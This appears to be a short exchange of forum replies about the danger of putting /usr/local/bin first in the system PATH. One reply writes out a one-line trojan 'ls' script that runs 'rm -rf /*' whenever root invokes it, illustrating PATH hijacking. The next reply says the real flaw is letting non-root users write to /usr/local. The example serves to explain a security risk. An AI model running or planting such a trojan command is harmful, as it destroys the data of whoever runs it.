Re^2: My first USEFUL script!

put /usr/local/bin as the first entry in PATH system-wide

This would be a really, really bad idea.

joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/
+local/bin/ls; chmod +x /usr/local/bin/ls

The next time that root runs 'ls', the system is gone.

The really bad idea here is where someone other than root can write to /usr/local/*. If root did the above, well, you already have root - no need to hide behind some silly script.	[reply]
